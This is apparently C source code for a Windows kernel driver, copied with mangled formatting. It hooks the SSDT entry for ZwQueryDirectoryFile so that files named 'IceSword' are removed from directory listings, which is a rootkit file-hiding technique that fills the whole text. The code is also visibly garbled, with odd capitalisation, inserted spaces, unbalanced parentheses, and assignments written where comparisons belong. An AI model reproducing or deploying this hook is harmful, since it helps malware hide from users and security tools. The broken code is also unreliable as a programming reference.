# Include "ntddk. h"
# Include <windef. h>
# Pragma pack (1) // SSDT Table
Typedef struct ServiceDescriptorEntry {
Unsigned int * ServiceTableBase;
Unsigned int * ServiceCounterTableBase; // Used only in checked build
Unsigned int NumberOfServices;
Unsigned char * ParamTableBase;
} ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
# Pragma pack ()
_ Declspec (dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
# Define SYSTEMSERVICE (_ function) KeServiceDescriptorTable. ServiceTableBase [* (PULONG) (PUCHAR) _ function + 1)]
NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath );
VOID Unload (IN PDRIVER_OBJECT DriverObject );
// Replace the New Function
Ntstatus ntapi NewZwQueryDirectoryFile (
In handle FileHandle,
In handle Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
In pvoid ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
Out pvoid FileInformation,
In ulong Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
In boolean ReturnSingleEntry,
IN PUNICODE_STRING FileMask OPTIONAL,
In boolean RestartScan );
// API Declaration
Ntsysapi ntstatus ntapi ZwQueryDirectoryFile (
In handle FileHandle,
In handle Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
In pvoid ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
Out pvoid FileInformation,
In ulong Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
In boolean ReturnSingleEntry,
IN PUNICODE_STRING FileMask OPTIONAL,
In boolean RestartScan );
Typedef NTSTATUS (* ZWQUERYDIRECTORYFILE )(
In handle FileHandle,
In handle Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
In pvoid ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
Out pvoid FileInformation,
In ulong Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
In boolean ReturnSingleEntry,
IN PUNICODE_STRING FileMask OPTIONAL,
In boolean RestartScan );
Typedef struct _ FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName [1];
} FILE_DIRECTORY_INFORMATION, * PFILE_DIRECTORY_INFORMATION;
Typedef struct _ FILE_FULL_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
WCHAR FileName [1];
} FILE_FULL_DIR_INFORMATION, * PFILE_FULL_DIR_INFORMATION;
Typedef struct _ FILE_ID_FULL_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
LARGE_INTEGER FileId;
WCHAR FileName [1];
} FILE_ID_FULL_DIR_INFORMATION, * PFILE_ID_FULL_DIR_INFORMATION;
Typedef struct _ FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName [12];
WCHAR FileName [1];
} FILE_BOTH_DIR_INFORMATION, * PFILE_BOTH_DIR_INFORMATION;
Typedef struct _ FILE_ID_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName [12];
LARGE_INTEGER FileId;
WCHAR FileName [1];
} FILE_ID_BOTH_DIR_INFORMATION, * PFILE_ID_BOTH_DIR_INFORMATION;
Typedef struct _ FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName [1];
} FILE_NAMES_INFORMATION, * PFILE_NAMES_INFORMATION;
// Source Address
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset (in pvoid pData, IN FILE_INFORMATION_CLASS FileInfo );
Void SetNextEntryOffset (in pvoid pData, IN FILE_INFORMATION_CLASS FileInfo, in dword Offset );
PVOID GetEntryFileName (in pvoid pData, IN FILE_INFORMATION_CLASS FileInfo );
ULONG GetFileNameLength (in pvoid pData, IN FILE_INFORMATION_CLASS FileInfo );
# Include "Hidefile. h"
NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
DriverObject-> DriverUnload = Unload;
KdPrint ("Driver Entry Called! /N "));
KdPrint ("OldAddress: 0x % X/tNewAddress: 0x % X/n", SYSTEMSERVICE (ZwQueryDirectoryFile), NewZwQueryDirectoryFile ));
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE) SYSTEMSERVICE (ZwQueryDirectoryFile );
(ZWQUERYDIRECTORYFILE) SYSTEMSERVICE (ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;
Return ntStatus;
}
VOID Unload (IN PDRIVER_OBJECT DriverObject)
{
KdPrint ("Driver Unload Called! /N "));
(ZWQUERYDIRECTORYFILE) SYSTEMSERVICE (ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
KdPrint ("Address: 0x % X/n", SYSTEMSERVICE (ZwQueryDirectoryFile )));
Return;
}
DWORD GetNextEntryOffset (in pvoid pData, IN FILE_INFORMATION_CLASS FileInfo)
{
DWORD result = 0;
Switch (FileInfo ){
Case FileDirectoryInformation:
Result = (PFILE_DIRECTORY_INFORMATION) pData)-> NextEntryOffset;
Break;
Case FileFullDirectoryInformation:
Result = (PFILE_FULL_DIR_INFORMATION) pData)-> NextEntryOffset;
Break;
Case FileIdFullDirectoryInformation:
Result = (PFILE_ID_FULL_DIR_INFORMATION) pData)-> NextEntryOffset;
Break;
Case FileBothDirectoryInformation:
Result = (PFILE_BOTH_DIR_INFORMATION) pData)-> NextEntryOffset;
Break;
Case FileIdBothDirectoryInformation:
Result = (PFILE_ID_BOTH_DIR_INFORMATION) pData)-> NextEntryOffset;
Break;
Case FileNamesInformation:
Result = (PFILE_NAMES_INFORMATION) pData)-> NextEntryOffset;
Break;
}
Return result;
}
Void SetNextEntryOffset (in pvoid pData, IN FILE_INFORMATION_CLASS FileInfo, in dword Offset)
{
Switch (FileInfo ){
Case FileDirectoryInformation:
(PFILE_DIRECTORY_INFORMATION) pData)-> NextEntryOffset = Offset;
Break;
Case FileFullDirectoryInformation:
(PFILE_FULL_DIR_INFORMATION) pData)-> NextEntryOffset = Offset;
Break;
Case FileIdFullDirectoryInformation:
(PFILE_ID_FULL_DIR_INFORMATION) pData)-> NextEntryOffset = Offset;
Break;
Case FileBothDirectoryInformation:
(PFILE_BOTH_DIR_INFORMATION) pData)-> NextEntryOffset = Offset;
Break;
Case FileIdBothDirectoryInformation:
(PFILE_ID_BOTH_DIR_INFORMATION) pData)-> NextEntryOffset = Offset;
Break;
Case FileNamesInformation:
(PFILE_NAMES_INFORMATION) pData)-> NextEntryOffset = Offset;
Break;
}
}
PVOID GetEntryFileName (in pvoid pData, IN FILE_INFORMATION_CLASS FileInfo)
{
PVOID result = 0;
Switch (FileInfo ){
Case FileDirectoryInformation:
Result = (PVOID) & (PFILE_DIRECTORY_INFORMATION) pData)-> FileName [0];
Break;
Case FileFullDirectoryInformation:
Result = (PVOID) & (PFILE_FULL_DIR_INFORMATION) pData)-> FileName [0];
Break;
Case FileIdFullDirectoryInformation:
Result = (PVOID) & (PFILE_ID_FULL_DIR_INFORMATION) pData)-> FileName [0];
Break;
Case FileBothDirectoryInformation:
Result = (PVOID) & (PFILE_BOTH_DIR_INFORMATION) pData)-> FileName [0];
Break;
Case FileIdBothDirectoryInformation:
Result = (PVOID) & (PFILE_ID_BOTH_DIR_INFORMATION) pData)-> FileName [0];
Break;
Case FileNamesInformation:
Result = (PVOID) & (PFILE_NAMES_INFORMATION) pData)-> FileName [0];
Break;
}
Return result;
}
ULONG GetFileNameLength (in pvoid pData, IN FILE_INFORMATION_CLASS FileInfo)
{
ULONG result = 0;
Switch (FileInfo ){
Case FileDirectoryInformation:
Result = (ULONG) (PFILE_DIRECTORY_INFORMATION) pData)-> FileNameLength;
Break;
Case FileFullDirectoryInformation:
Result = (ULONG) (PFILE_FULL_DIR_INFORMATION) pData)-> FileNameLength;
Break;
Case FileIdFullDirectoryInformation:
Result = (ULONG) (PFILE_ID_FULL_DIR_INFORMATION) pData)-> FileNameLength;
Break;
Case FileBothDirectoryInformation:
Result = (ULONG) (PFILE_BOTH_DIR_INFORMATION) pData)-> FileNameLength;
Break;
Case FileIdBothDirectoryInformation:
Result = (ULONG) (PFILE_ID_BOTH_DIR_INFORMATION) pData)-> FileNameLength;
Break;
Case FileNamesInformation:
Result = (ULONG) (PFILE_NAMES_INFORMATION) pData)-> FileNameLength;
Break;
}
Return result;
}
Ntstatus ntapi NewZwQueryDirectoryFile (
In handle FileHandle,
In handle Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
In pvoid ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
Out pvoid FileInformation,
In ulong Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
In boolean ReturnSingleEntry,
IN PUNICODE_STRING FileMask OPTIONAL,
In boolean RestartScan)
{
NTSTATUS ntStatus = OldZwQueryDirectoryFile (
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
FileInformation,
Length,
FileInformationClass,
ReturnSingleEntry,
FileMask,
RestartScan );
If (NT_SUCCESS (ntStatus )&&
FileInformationClass = FileDirectoryInformation |
FileInformationClass = FileFullDirectoryInformation |
FileInformationClass = FileIdFullDirectoryInformation |
FileInformationClass = FileBothDirectoryInformation |
FileInformationClass = FileIdBothDirectoryInformation |
FileInformationClass = FileNamesInformation
)
{
PVOID p = FileInformation;
PVOID pLast = NULL;
DWORD pLastOne = 0;
KdPrint ("<--------/n "));
Do {
PLastOne = GetNextEntryOffset (p, FileInformationClass );
KdPrint ("[*] Last: 0x % x/tCurrent: 0x % x/tpLastOne: % ld/n", pLast, p, pLastOne ));
If (RtlCompareMemory (GetEntryFileName (p, FileInformationClass), L "IceSword", 16) = 16)
{
KdPrint ("[-] Hide.../n "));
If (pLastOne = 0)
{
If (p = FileInformation)
NtStatus = STATUS_NO_MORE_FILES;
Else
SetNextEntryOffset (pLast, FileInformationClass, 0 );
Break;
}
Else
{
Int iPos = (ULONG) p)-(ULONG) FileInformation;
Int iLeft = (DWORD) Length-iPos-pLastOne;
RtlCopyMemory (p, (PVOID) (char *) p + pLastOne), (DWORD) iLeft );
KdPrint ("iPos: % ld/tLength: % ld/tiLeft: % ld/t, NextOffset: % ld/tpLastOne: % ld/tCurrent: 0x % x/n ",
IPos, Length, iLeft, GetNextEntryOffset (p, FileInformationClass), pLastOne, p ));
Continue;
}
}
PLast = p;
P = (char *) p + GetNextEntryOffset (p, FileInformationClass ));
} While (pLastOne! = 0 );
KdPrint ("-------->/n "));
}
Return ntStatus;
}